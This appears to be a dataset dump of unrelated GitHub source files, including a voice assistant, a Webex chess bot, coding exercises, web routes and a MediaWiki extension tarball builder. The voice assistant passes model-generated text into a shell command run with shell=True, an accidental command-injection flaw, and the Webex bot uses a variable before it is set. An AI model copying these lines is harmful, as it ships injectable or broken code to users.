200","repo_name":"junhong-CHEON/flask_study","sub_path":"210830-flask문제/controllers/Students.py","file_name":"Students.py","file_ext":"py","file_size_in_byte":6148,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29221874273","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nfor _ in range(int(input())):\r\n W = input().rstrip()\r\n left, right = [], []\r\n \r\n for s in W:\r\n # <1. 커서를 왼쪽으로 옮기는 경우>\r\n if s == '<' and left:\r\n right.append(left.pop())\r\n # <2. 커서를 오른쪽으로 옮기는 경우> \r\n elif s == '>' and right:\r\n left.append(right.pop())\r\n # <3. 제거하는 경우> \r\n elif s == '-' and left:\r\n left.pop()\r\n # <4. 추가하는 경우> \r\n elif s.isalnum():\r\n left.append(s)\r\n \r\n left.extend(reversed(right)) \r\n print(''.join(left))","repo_name":"bbbang105/BaekjoonPrac","sub_path":"백준/Silver/5397. 키로거/키로거.py","file_name":"키로거.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17839405407","text":"from flask import Flask, request\nimport json\nfrom webexteamssdk import WebexTeamsAPI, Webhook\nimport parser\nfrom helpers import (read_yaml_data,\n get_ngrok_url,\n find_webhook_by_name,\n delete_webhook, create_webhook)\n\nfrom conf import access_token\n\nflask_app = Flask(__name__)\nteams_api = None\n\n@flask_app.route('/teamswebhook', methods=['POST'])\ndef teamswebhook():\n \"\"\"\n Handle \n \"\"\"\n print(\"\\n\" + str(request.method) + \" received\\n\")\n print(request.json)\n\n json_data = request.json\n webhook_obj = Webhook(json_data)\n room = teams_api.rooms.get(webhook_obj.data.roomId)\n message = teams_api.messages.get(webhook_obj.data.id)\n\n # Don't respond to yourself\n if message.personId == teams_api.people.me().id:\n return 'OK'\n else:\n teams_api.messages.create(room.id, text=chess_response)\n person = teams_api.people.get(message.personId)\n \n with open('players.json') as f:\n player_json = f.read()\n\n try:\n board_dest = json.loads(player_json)[0][person]['active']\n except(Exception) as e:\n board_dest = \"board.bd\"\n board_dict = json.loads(player_json)[0]\n board_dict[person]['active'] = board_dest\n with open('players.json', 'w') as f:\n json.dump(board_dict, f)\n \n\n board = parser.Board(dest=board_dest)\n chess_response = parser.parse(board, message)\n\nif __name__ == '__main__':\n\n teams_api = WebexTeamsAPI(access_token=access_token)\n ngrok_url = get_ngrok_url()\n\n webhook_name = 'hello-bot-wb-hook'\n dev_webhook = find_webhook_by_name(teams_api, webhook_name)\n if dev_webhook:\n delete_webhook(teams_api, dev_webhook)\n create_webhook(teams_api, webhook_name, ngrok_url + '/teamswebhook')\n\n flask_app.run(host='0.0.0.0', port=5000)\n","repo_name":"tobyjamez/chesspacito","sub_path":"hello_bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20818709619","text":"import threading\n# 定义 个普通的 action 方法,该方法准备作为线程执行体\n\n\ndef action(max1):\n for m in range(max1):\n # 调用 threadi 呵棋块的 cur re 口 t thread ()函数获取当前线程\n # 调用线程对象的 getName ()方法获取当前线程的名字\n print(threading.current_thread().getName() + \"_action_\" + str(m))\n\n\n# 下面是主程序(也就是主线程的线程执行体)\nfor i in range(100):\n # 调用 threading 模块的 current_thread ()函数获取当前线程\n print(threading.current_thread().getName() + \"\" + str(i))\n if i == 20:\n # 创建并启动第一个线程\n t1 = threading.Thread(target=action, args=(100,))\n t1.start()\n # 创建并启动第2个线程\n t2 = threading.Thread(target=action, args=(100,))\n t2.start()\nprint('主线程执行完成!')\n","repo_name":"Carlzkh/CrazyPythonNotes","sub_path":"14/14.2/first_thread.py","file_name":"first_thread.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14275206693","text":"from dependency_injector.wiring import Provide, inject\nfrom fastapi import APIRouter, Depends\n\nfrom domain.ports.get_order_details_port import OrderDetailsInputPort\nfrom domain.use_cases.get_order_details import GetOrderDetailsByIdUseCase\nfrom frameworks.container import FrameworkContainer\nfrom interface_adapters.dtos.get_order_details_dto import GetOrderDetailsOutputDTO\n\norder_details_route = APIRouter()\n\n\n@order_details_route.get(\n \"/order/details/{order_details_id}\", response_model=GetOrderDetailsOutputDTO\n)\n@inject\nasync def get_order_details(\n order_details_id: int,\n get_order_details_use_case: GetOrderDetailsByIdUseCase = Depends(\n Provide[FrameworkContainer.get_order_details_use_case]\n ),\n) -> GetOrderDetailsOutputDTO:\n \"\"\"Route to create a new table into postgres from a csv file\"\"\"\n try:\n input_port = OrderDetailsInputPort(order_details_id=order_details_id)\n\n output_use_case = await get_order_details_use_case(input_port=input_port)\n\n return GetOrderDetailsOutputDTO(\n order_details_id=output_use_case.order_details_id,\n order_id=output_use_case.order_id,\n pizza_id=output_use_case.pizza_id,\n quantity=output_use_case.quantity,\n )\n except Exception as error:\n return {\"error\": f\"{error}\"}\n","repo_name":"dtleal/gwtk_pizza_place","sub_path":"src/interface_adapters/routes/v1/get_order_details.py","file_name":"get_order_details.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20284690825","text":"from typing import List\n\n\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n \"\"\"\n 主要注意删除时下标的变化\n 不能继续用下标迭代,因为长度变化了\n\n 1\n 不需要 每次调用 len 自己记录\n\n 2\n 不需要 pre\n\n 3\n 看了答案记录即可\n \"\"\"\n if not nums:\n return 0\n count = 0\n for i in range(1, len(nums)):\n if nums[count] != nums[i]:\n count += 1\n nums[count] = nums[i]\n return count + 1\n\n\nif __name__ == '__main__':\n Solution().removeDuplicates([1, 1, 2])\n","repo_name":"pingfangx/pythonx","sub_path":"ToolsX/leetcode/0026/0026_3.py","file_name":"0026_3.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"zh","doc_type":"code","stars":22,"dataset":"github-code","pt":"32"} +{"seq_id":"23176798673","text":"import os \nimport openai \nimport pvporcupine \nimport speech_recognition as sr\nimport struct\nimport pyaudio\nimport time\nimport pvcobra\nimport wave\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nfrom gtts import gTTS \nfrom playsound import playsound\n\nimport yaml\n\nimport sys\nimport psutil\nimport logging\ndef read_yaml():\n with open('config.yaml', \"r\") as f:\n return yaml.safe_load(f)\nconf = read_yaml()\nPICOVOICEKEY = conf['Keys']['picovoice']\naikey = conf['Keys']['openai']\n\nimport subprocess\n\n\ndef copy2clip(txt):\n cmd='echo '+txt.strip()+'|clip'\n return subprocess.check_call(cmd, shell=True)\n\n\n\n\n\ncobra = pvcobra.create(access_key=PICOVOICEKEY)\n\nopenai.api_key = aikey\nvoice_file = \"voice.wav\"\nfilename = voice_file\nchunk = 1024\nFORMAT = pyaudio.paInt16\nchannels = 1\nsample_rate = 44100\np = pyaudio.PyAudio()\nstream = p.open(format=FORMAT,\n channels=channels,\n rate=sample_rate,\n input=True,\n output=True,\n frames_per_buffer=chunk)\nframes = []\n\nporcupine = pvporcupine.create(\n access_key=PICOVOICEKEY,keyword_paths=['Hey-Friday_en_windows_v2_2_0.ppn'],\n keywords=['Hey Jarvis']\n)\n\nr = sr.Recognizer()\n\n\n\nwake_word = 'hey assistant'\npa = pyaudio.PyAudio()\naudio_stream = pa.open(\n rate=porcupine.sample_rate,\n channels=1,\n format=pyaudio.paInt16,\n input=True,\n frames_per_buffer=porcupine.frame_length)\n\nprint(\"Listening for wake word ('{}')...\".format(wake_word))\n\nwhile True:\n pcm = audio_stream.read(porcupine.frame_length)\n pcm = struct.unpack_from(\"h\" * porcupine.frame_length, pcm)\n \n keyword_index = porcupine.process(pcm)\n if keyword_index >= 0:\n stream.start_stream()\n \n \n \n \n \n prompt = None\n\n\n start_time = time.time()\n\n while True:\n pcm = audio_stream.read(cobra.frame_length)\n pcm = struct.unpack_from(\"h\"*cobra.frame_length,pcm)\n voice_probability = cobra.process(pcm)\n\n data = stream.read(chunk)\n frames.append(data)\n\n if voice_probability <= 0.2:\n elapsed_time = time.time() - start_time\n if elapsed_time >= 2.0:\n stream.stop_stream()\n \n \n wf = wave.open(filename, \"wb\")\n wf.setnchannels(channels)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(sample_rate)\n wf.writeframes(b\"\".join(frames))\n \n transcript = ' '\n\n with sr.AudioFile(filename) as source:\n text = None\n try: \n text = r.recognize_google(r.record(source),None,\"en-US\",0,False)\n except TypeError as e:\n transcript = ' say \"sorry i didnt get that\"'\n transcript = text\n print(transcript)\n \n \n \n \n \n if not isinstance(transcript, str):\n transcript = ' say \"sorry i didnt get that\"'\n wf.close()\n \n os.remove('voice.wav')\n prompt = 'your name will be Friday and your job is an AI Voice Assistant, here is your text, ' + transcript \n\n \n break\n\n else:\n start_time = time.time()\n\n\n\n\n \n \n response = openai.Completion.create(\n model=\"text-davinci-003\",prompt=prompt, temperature = 0,n=1)\n if 'choices' in response and len(response['choices']) > 0:\n message = response['choices'][0]['text']\n copy2clip(message)\n\n #\n tts = gTTS(text=message, lang='en', tld='co.za')\n tts.save('generated_message.mp3')\n\n \n audio_file = AudioSegment.from_file('generated_message.mp3',format='mp3')\n \n play(audio_file)\n \n\n \n else:\n print('Failed to generate message using OpenAI GPT-3.5 API.')\n print(\"Listening for wake word ('{}')...\".format(wake_word))\n","repo_name":"Coolcreeper221/Friday","sub_path":"Jarvis.py","file_name":"Jarvis.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"38401835526","text":"import logging\nimport copy\nlogger = None\nimport hashlib\n\ndef setup_logger(args):\n global logger\n if logger == None:\n logger = logging.getLogger()\n else: # wish there was a logger.close()\n for handler in logger.handlers[:]: # make a copy of the list\n logger.removeHandler(handler)\n\n args_copy = copy.deepcopy(args)\n # copy to get a clean hash\n # use the same log file hash if iterations or verbose are different\n # these flags do not change the results\n args_copy.iters = 1\n args_copy.verbose = False\n args_copy.log_interval = 1\n args_copy.seed = 0\n\n log_path = './log/{0}_{1}_{2}.log'.format(args.model, args.density, hashlib.md5(str(args_copy).encode('utf-8')).hexdigest()[:8])\n\n logger.setLevel(logging.INFO)\n formatter = logging.Formatter(fmt='%(asctime)s: %(message)s', datefmt='%H:%M:%S')\n\n fh = logging.FileHandler(log_path)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n\ndef print_and_log(msg):\n global logger\n print(msg)\n logger.info(msg)\n","repo_name":"JiePKU/MIA-SafeCompress","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"13763232363","text":"from django.urls import path \nfrom . import views\n\napp_name = 'firstapp' #appの名前空間を表す(画面の遷移を指定する場合に用いる)\nurlpatterns={\n path('index/',views.index,name='index'),#/helloでアクセスした場合にviewsファイル内のindex関数を表す\n path('page/',views.user_page,name='user_page'),\n path('number_page//',views.number_page, name = 'number_page'),\n path('home',views.home, name = 'home')\n}","repo_name":"FatherPower/DjangoPractice","sub_path":"firstapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21444449433","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^demo/ajax', views.ajax),\n url(r'^demo/commands/?$', views.test_commands),\n url(r'^demo/services/?$', views.test_services),\n url(r'^demo/pushkin/?$', views.test_pushkin),\n\n url(r'^grep/voip/tau-8/?$', views.grep_voip_config),\n url(r'^ping/(?P[0-9\\.]+)/$', views.ping),\n\n url(r'^disable/interface/?$', views.disable_interface),\n url(r'^enable/interface/?$', views.enable_interface),\n url(r'^ports/status/?$', views.ports_status),\n\n url(r'^$', views.index),\n]\n\n\n\n","repo_name":"ilique/webpushkin","sub_path":"pushkin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33966552769","text":"import re\nfrom itertools import chain\n\nfrom typing import List, Union, Iterable, Generator, Optional, Callable\n\n# ---------- Custom typing ----------\nElementsType = List[Union[int, str]]\n\n\ndef serial_no_generator(lower: int = 0, upper: int = 10, reused: bool = True, values: Iterable[int] = None) -> \\\n Generator[int, None, None]:\n values = values or []\n eset = set(filter(lambda x: lower <= x < upper, values))\n if eset:\n max_val = max(eset)\n if reused:\n gen = chain(range(max_val + 1, upper), range(lower, max_val))\n else:\n gen = range(max_val + 1, upper)\n else:\n gen = range(lower, upper)\n for ele in gen:\n if ele in eset:\n continue\n yield ele\n\n\n_fmt_re = re.compile(r'\\{no(:0(\\d+)([bodxX]))?\\}')\n\nb2p_dict = {'b': 2, 'o': 8, 'd': 10, 'x': 16, 'X': 16}\np2b_dict = {2: 'b', 8: 'o', 10: 'd', 16: 'x'}\n\n\nclass LabelFormatOpts:\n def __init__(self, fmt_str, base=10, digits=2):\n\n base_char = p2b_dict[base]\n data = _fmt_re.findall(fmt_str)\n ft = [item[0] for item in data if item[0] != '']\n if ft:\n if all(el == ft[0] for el in ft):\n base_char = ft[0][-1]\n base, digits = b2p_dict.get(base_char), int(ft[0][2:-1])\n else:\n raise ValueError(f'{fmt_str} Define different formatter for no variable.')\n new_field_fmt = '{{no:0{0}{1}}}'.format(digits, base_char)\n\n self.origin_fmt = fmt_str\n self.normalized_fmt = _fmt_re.sub(new_field_fmt, fmt_str)\n\n fr_dict = {\n 'b': '(?P[01]{{{0}}})'.format(digits),\n 'o': '(?P[0-7]{{{0}}})'.format(digits),\n 'd': '(?P[0-9]{{{0}}})'.format(digits),\n 'x': '(?P[0-9a-f]{{{0}}})'.format(digits),\n 'X': '(?P[0-9A-Z]{{{0}}})'.format(digits),\n }\n\n self.parse_re = re.compile(self.normalized_fmt.replace(new_field_fmt, fr_dict[base_char]))\n self.base = base\n self.digits = digits\n self.base_char = base_char\n\n def value2label(self, value: int) -> str:\n return self.normalized_fmt.format(no=value)\n\n def label2value(self, label: str) -> int:\n m = self.parse_re.match(label)\n if m:\n return int(m.group('no'), base=self.base)\n raise ValueError(f'Error Value {label}')\n\n\nclass SerialElement:\n __slots__ = ['value', 'label']\n\n def __init__(self, value, label):\n self.value = value\n self.label = label\n\n\nclass SerialNoPool:\n def __init__(self, lower: int = None, upper: int = None, base: int = 0, digits: int = 0,\n label_fmt: Optional[str] = None):\n\n if label_fmt is None:\n self._opts = None\n else:\n base = base or 10\n digits = digits or 2\n self._opts = LabelFormatOpts(label_fmt, base, digits)\n base = self._opts.base\n digits = self._opts.digits\n\n if lower is not None and lower < 0:\n raise ValueError(f'lower(={lower}) must be >= 0.')\n if upper is not None and upper <= 0:\n raise ValueError(f'upper(={upper}) must be >= 0.')\n s_set = base and digits\n t_set = lower is not None and upper is not None\n\n if t_set:\n self._lower, self._upper = lower, upper\n if s_set:\n cl, cu = 0, base ** digits\n if not (lower >= cl and upper <= cu):\n raise ValueError(f'The lower-upper [{lower},{upper}) is not in [{cl},{cu})')\n else:\n if s_set:\n self._lower, self._upper = 0, base ** digits\n else:\n self._lower, self._upper = 0, 100\n\n self._values = set()\n self._source = None\n\n # ---------- Pool Attributes ----------\n\n @property\n def lower(self):\n return self._lower\n\n @property\n def upper(self):\n return self._upper\n\n # ---------- Data API ----------\n\n def set_elements(self, elements: ElementsType) -> 'SerialNoPool':\n self._values = set()\n self.add_elements(elements)\n return self\n\n def set_source(self, source: Callable[[], ElementsType]) -> 'SerialNoPool':\n self._source = source\n return self\n\n def add_elements(self, elements: ElementsType) -> 'SerialNoPool':\n values = self._elements2values(elements)\n for v in values:\n self._values.add(v)\n return self\n\n def remove_elements(self, elements: ElementsType) -> 'SerialNoPool':\n values = self._elements2values(elements)\n for v in values:\n self._values.remove(v)\n return self\n\n def _elements2values(self, elements: ElementsType) -> List[int]:\n values = [] # type: List[int]\n for ele in elements:\n if isinstance(ele, int):\n value = ele\n elif isinstance(ele, str):\n value = self._opts.label2value(ele)\n else:\n raise TypeError(f'Invalid element {ele}:unsupported type.')\n if self._lower <= value < self._upper:\n values.append(value)\n else:\n raise ValueError(f'Invalid element {ele}: range error')\n return values\n\n # ---------- Generate API ----------\n\n def get_next_generator(self) -> Generator[SerialElement, None, None]:\n \"\"\"\n This is the low-level method.\n :return:\n \"\"\"\n if self._source is not None:\n elements = self._source()\n self.set_elements(elements)\n value_gen = serial_no_generator(lower=self._lower, upper=self._upper, values=self._values)\n for value in value_gen:\n if self._opts:\n label = self._opts.value2label(value)\n else:\n label = None\n yield SerialElement(value, label)\n\n def generate_values(self, num=1) -> List[int]:\n return [se.value for se in self.get_next_generator()][:num]\n\n def generate_labels(self, num=1) -> List[str]:\n if self._opts is None:\n raise TypeError('The operation generate_labels is not allowed when label_fmt is not set.')\n return [se.label for se in self.get_next_generator()][:num]\n\n def generate(self, num=1) -> List[str]:\n return self.generate_labels(num)\n","repo_name":"kinegratii/borax","sub_path":"borax/counters/serial_pool.py","file_name":"serial_pool.py","file_ext":"py","file_size_in_byte":6334,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"32"} +{"seq_id":"35720542878","text":"#!/usr/bin/env python3\n\"\"\"\nnightly.py - tarball creator\n\nThis is a script that creates tarballs\nfor MediaWiki extensions based on the\nconfiguration in conf.py. It accepts\nsome optional arguments:\n\n* --all: Generate tarballs for all extensions.\n* --skins: Process skins instead of extensions\n* --force: Regenerate all tarballs even if they already exist\n\nBy default, it generates only the tarball for the\nVisualEditor extension (or the Vector skin if\n--skins is passed). This will change in the future\nwhen debugging becomes less rare.\n\"\"\"\n\nimport glob\nimport json\nimport logging\nimport os\nimport random\nimport requests\nimport subprocess\nimport sys\nimport traceback\n\n\nclass TarballGenerator(object):\n def __init__(self, conf, repo_type='extensions', force=False):\n self.API_URL = conf['API_URL']\n self.DIST_PATH = conf['DIST_PATH']\n self.GIT_URL = conf['GIT_URL']\n self.LOG_FILE = conf['LOG_FILE']\n self.SRC_PATH = conf['SRC_PATH']\n self.PID_FILE = conf['PID_FILE']\n self.LOG_FILE = conf['LOG_FILE']\n self.REPO_TYPE = repo_type\n self.EXT_PATH = os.path.join(self.SRC_PATH, self.REPO_TYPE)\n self.COMPOSER = conf.get('COMPOSER')\n self._repo_list = None\n self._extension_config = None\n self.force = force\n self.session = requests.Session()\n\n @property\n def repo_list(self):\n \"\"\"\n Lazy-load the list of all extensions\n \"\"\"\n if self._repo_list is None:\n self._repo_list = self.fetch_all_repos()\n return self._repo_list\n\n def fetch_all_repos(self):\n \"\"\"\n Does an API request to get the complete list of extensions.\n Do not call directly.\n \"\"\"\n logging.debug('Fetching list of all %s...' % self.REPO_TYPE)\n data = {\n 'action': 'query',\n 'list': 'extdistrepos',\n 'format': 'json'\n }\n r = self.session.get(self.API_URL, params=data)\n r.raise_for_status()\n return r.json()['query']['extdistrepos'][self.REPO_TYPE]\n\n @property\n def supported_versions(self):\n \"\"\"\n Lazy-load the list of supported branches\n \"\"\"\n if self._extension_config is None:\n self.fetch_extension_config()\n return self._extension_config['snapshots']\n\n def fetch_extension_config(self):\n \"\"\"\n Fetch the ExtensionDistributor configuration from the API\n Do not call this directly.\n \"\"\"\n logging.debug('Fetching ExtensionDistributor config from API...')\n data = {\n 'action': 'query',\n 'meta': 'siteinfo',\n 'format': 'json',\n }\n r = self.session.get(self.API_URL, params=data)\n r.raise_for_status()\n resp = r.json()\n self._extension_config = resp['query']['general']['extensiondistributor']\n\n return {\n 'versions': resp['query']['general']['extensiondistributor']['snapshots'],\n 'extension-list': resp['query']['general']['extensiondistributor']['list']\n }\n\n def init(self):\n \"\"\"\n Does basic initialization\n \"\"\"\n # Set up logging\n logging.basicConfig(\n filename=self.LOG_FILE,\n level=logging.DEBUG,\n format='%(asctime)s %(levelname)s:%(message)s'\n )\n\n # Check to make sure nightly.py isn't already running\n if os.path.exists(self.PID_FILE):\n with open(self.PID_FILE, 'r') as f:\n old_pid = f.read()\n\n if self.check_pid(int(old_pid)):\n logging.warning('Another process of nightly.py is still running, quitting this one')\n quit()\n\n self.create_pid_file()\n\n # Init some directories we'll need\n if not os.path.isdir(self.EXT_PATH):\n self.shell_exec(['mkdir', '-p', self.EXT_PATH])\n if not os.path.isdir(self.DIST_PATH):\n self.shell_exec(['mkdir', '-p', self.DIST_PATH])\n\n def shell_exec(self, args, **kwargs):\n \"\"\"\n Shortcut wrapper to execute a shell command\n\n >>> self.shell_exec(['ls', '-l'])\n \"\"\"\n return subprocess.check_output(args, **kwargs).decode()\n\n def update_extension(self, ext):\n \"\"\"\n Fetch an extension's updates, and\n create new tarballs if needed\n \"\"\"\n full_path = os.path.join(self.EXT_PATH, ext)\n logging.info('Starting update for %s' % ext)\n repo_url = self.GIT_URL % ext\n if not os.path.exists(full_path):\n os.chdir(self.EXT_PATH)\n logging.debug('Cloning %s' % ext)\n self.shell_exec(['git', 'clone', repo_url, ext])\n pass\n for branch in self.supported_versions:\n os.chdir(full_path)\n logging.info('Creating %s for %s' % (branch, ext))\n # In case GIT_URL has changed\n self.shell_exec(['git', 'remote', 'set-url', 'origin', repo_url])\n # Update remotes\n self.shell_exec(['git', 'fetch'])\n try:\n # Could fail if repo is empty\n self.shell_exec(['git', 'reset', '--hard', 'origin/master'])\n # Reset everything!\n self.shell_exec(['git', 'clean', '-ffdx'])\n # Checkout the branch\n self.shell_exec(['git', 'checkout', 'origin/%s' % branch])\n except subprocess.CalledProcessError:\n # Just a warning because this is expected for some extensions\n logging.warning('could not checkout origin/%s' % branch)\n continue\n # Reset everything, again.\n self.shell_exec(['git', 'clean', '-ffd'])\n # Sync submodules in case their urls have changed\n self.shell_exec(['git', 'submodule', 'sync'])\n # Update them, initializing new ones if needed\n self.shell_exec(['git', 'submodule', 'update', '--init'])\n # Gets short hash of HEAD\n rev = self.shell_exec(['git', 'rev-parse', '--short=7', 'HEAD']).strip()\n tarball_fname = '%s-%s-%s.tar.gz' % (ext, branch, rev)\n if not self.force and os.path.exists(os.path.join(self.DIST_PATH, tarball_fname)):\n logging.debug('No updates to branch, tarball already exists.')\n continue\n if self.COMPOSER and os.path.exists('composer.json'):\n with open('composer.json') as f_composer:\n d_composer = json.load(f_composer)\n if 'require' in d_composer:\n logging.debug('Running composer install for %s' % ext)\n try:\n self.shell_exec([self.COMPOSER, 'install', '--no-dev', '--ignore-platform-reqs'])\n except subprocess.CalledProcessError:\n logging.error(traceback.format_exc())\n logging.error('composer install failed')\n # Create gitinfo.json to be read/displayed by Special:Version\n git_info = {}\n with open('.git/HEAD') as f_head:\n head = f_head.read()\n if head.startswith('ref:'):\n head = head[5:] # Strip 'ref :'\n git_info['head'] = head\n # Get the SHA-1\n git_info['headSHA1'] = self.shell_exec(['git', 'rev-parse', 'HEAD'])\n git_info['headCommitDate'] = self.shell_exec(['git', 'show', '-s', '--format=format:%ct', 'HEAD'])\n if head.startswith('refs/heads'):\n gi_branch = head.split('/')[-1]\n else:\n gi_branch = head\n git_info['branch'] = gi_branch\n git_info['remoteURL'] = self.GIT_URL % ext\n with open('gitinfo.json', 'w') as f:\n json.dump(git_info, f)\n\n # TODO: Stop writing this file now that we have gitinfo.json\n # Create a 'version' file with basic info about the tarball\n with open('version', 'w') as f:\n f.write('%s: %s\\n' % (ext, branch))\n f.write(self.shell_exec(['date', '+%Y-%m-%dT%H:%M:%S']) + '\\n') # TODO: Do this in python\n f.write(rev + '\\n')\n old_tarballs = glob.glob(os.path.join(self.DIST_PATH, '%s-%s-*.tar.gz' % (ext, branch)))\n logging.debug('Deleting old tarballs...')\n for old in old_tarballs:\n # FIXME: Race condition, we should probably do this later on...\n os.unlink(old)\n os.chdir(self.EXT_PATH)\n # Finally, create the new tarball\n self.shell_exec(['tar', '--exclude', '.git', '-czhPf', tarball_fname, ext])\n logging.debug('Moving new tarballs into dist/')\n tarballs = glob.glob(os.path.join(self.EXT_PATH, '*.tar.gz'))\n for tar in tarballs:\n fname = tar.split('/')[-1]\n os.rename(tar, os.path.join(self.DIST_PATH, fname))\n logging.info('Finished update for %s' % ext)\n\n if random.randint(0, 99) == 0:\n # Run git gc every 100th process (statistically)\n self.shell_exec(['git', 'gc'], cwd=full_path)\n\n def check_pid(self, pid):\n \"\"\"\n Checks whether the given pid is running\n \"\"\"\n try:\n # This doesn't actually kill it, just checks if it is running\n os.kill(pid, 0)\n except OSError:\n # Not running\n return False\n else:\n # So it must be running\n return True\n\n def create_pid_file(self):\n \"\"\"\n Creates a pid file with the current pid\n \"\"\"\n with open(self.PID_FILE, 'w') as f:\n f.write(str(os.getpid()))\n logging.info('Creating pid file')\n\n def run(self, repos=None):\n self.init()\n if not repos:\n repos = self.repo_list\n logging.info('Processing %s %s' % (len(repos), self.REPO_TYPE))\n logging.info('Starting update of all %s...' % self.REPO_TYPE)\n for repo in repos:\n try:\n self.update_extension(repo)\n except KeyboardInterrupt:\n logging.error(traceback.format_exc())\n sys.exit(1)\n except Exception:\n logging.error(traceback.format_exc())\n logging.error('Updating %s failed, skipping' % repo)\n logging.info('Finished update of all %s!' % self.REPO_TYPE)\n\n\ndef main():\n # Load our config from JSON\n conf = None\n skins = '--skins' in sys.argv\n etc_path = '/etc/skindist.conf' if skins else '/etc/extdist.conf'\n local_fname = 'skinconf.json' if skins else 'conf.json'\n if os.path.exists(etc_path):\n with open(etc_path, 'r') as f:\n conf = json.load(f)\n elif os.path.exists(os.path.join(os.path.dirname(__file__), local_fname)):\n with open(os.path.join(os.path.dirname(__file__), local_fname), 'r') as f:\n conf = json.load(f)\n else:\n print('extdist is not configured properly.')\n quit()\n if '--all' in sys.argv:\n repos = []\n elif skins:\n repos = ['Vector']\n else:\n repos = ['VisualEditor']\n for arg in sys.argv:\n if arg.startswith('--repo'):\n repos.append(arg.split('=', 1)[1])\n repo_type = 'skins' if skins else 'extensions'\n force = '--force' in sys.argv\n generator = TarballGenerator(conf, repo_type=repo_type, force=force)\n generator.run(repos=repos)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wikimedia/labs-tools-extdist","sub_path":"nightly.py","file_name":"nightly.py","file_ext":"py","file_size_in_byte":11493,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"43285861310","text":"import time\n\nimport numpy as np\nfrom constants import LEVEL2, ACTIONS, GameStatus\nfrom Level import Level\nfrom WYB import WatchYourBack\nfrom map_utilities import clear_console_output, encode_map_numeric, print_map\nfrom dql import DQNAgent\n\ngame = WatchYourBack(Level(LEVEL2))\nstate_size = len(LEVEL2)**2\nagent = DQNAgent(state_size, 4)\nagent.epsilon = 0\nagent.load(\"./save/level2.h5\")\n\nclear_console_output()\nprint_map(game.level.level)\ntime.sleep(2)\n\nwhile game.status == GameStatus.ONGOING:\n state = encode_map_numeric(game.level.level)\n player_move = agent.act(np.reshape(state, [1, state_size]))\n\n game.move_player(ACTIONS[player_move])\n clear_console_output()\n print_map(game.level.level)\n time.sleep(2)\n\n game.move_enemies()\n clear_console_output()\n print_map(game.level.level)\n time.sleep(2)\n\nprint('Result:', game.status)","repo_name":"yortuc/backGame","sub_path":"trainer/dql_play.py","file_name":"dql_play.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5303542727","text":"import numpy as np\n\nimport pytest\n\nfrom hypothesis import given, assume, settings\nfrom hypothesis.strategies import integers, text, floats, tuples, sampled_from\nfrom hypothesis.extra.numpy import arrays\n\nfrom segysak._seismic_dataset import (\n _check_vert_units,\n _check_input,\n _dataset_coordinate_helper,\n)\nfrom segysak._seismic_dataset import (\n create_seismic_dataset,\n create2d_dataset,\n create3d_dataset,\n)\n\nfrom segysak._keyfield import VerticalUnits, VerticalKeyField\n\n\nclass TestCheckers:\n \"\"\"\n Test data checking utilities\n \"\"\"\n\n def test_check_input_does_nothing_to_None(self):\n assert _check_input(None) is None\n\n @given(integers(0, 100000))\n def test_check_input_turns_int_into_array(self, i):\n assert len(_check_input(i)) == i\n\n def test_check_input_converts_to_array(self):\n assert isinstance(_check_input([0, 0]), np.ndarray)\n\n def test_check_input_raises_error_at_multidimensions(self):\n with pytest.raises(ValueError):\n _check_input([[0, 0]])\n\n @pytest.mark.parametrize(\"u\", list(VerticalUnits))\n def test_vertical_units_pass_checking(self, u):\n assert _check_vert_units(u) == u\n\n @given(text())\n def test_illegal_vertical_units_raise_errors(self, t):\n assume(t not in list(VerticalUnits))\n with pytest.raises(ValueError):\n _check_vert_units(t)\n\n @pytest.mark.parametrize(\"p\", list(VerticalKeyField.values()))\n def test_domains_pass_checking(self, p):\n _, domain = _dataset_coordinate_helper(None, p)\n assert p == domain\n\n @given(text())\n def test_illegal_domain_raise_errors(self, t):\n assume(t not in list(VerticalKeyField.values()))\n with pytest.raises(ValueError):\n _dataset_coordinate_helper(None, t)\n\n\nclass TestCreateSeismicDataset:\n \"\"\"\n Test creating a seismic dataset with various dimensions and sizes\n \"\"\"\n\n @given(integers(0, 10000), integers(0, 100000))\n def test_create_2D_seismic_dataset_with_integers(self, s, t):\n dataset = create_seismic_dataset(\n twt=s, depth=None, cdp=t, iline=None, xline=None, offset=None\n )\n assert len(dataset.dims) == 2\n assert dataset.dims[\"twt\"] == s\n\n @given(integers(0, 45))\n @settings(max_examples=10)\n def test_create_2D_seismic_dataset_with_offsets(self, o):\n 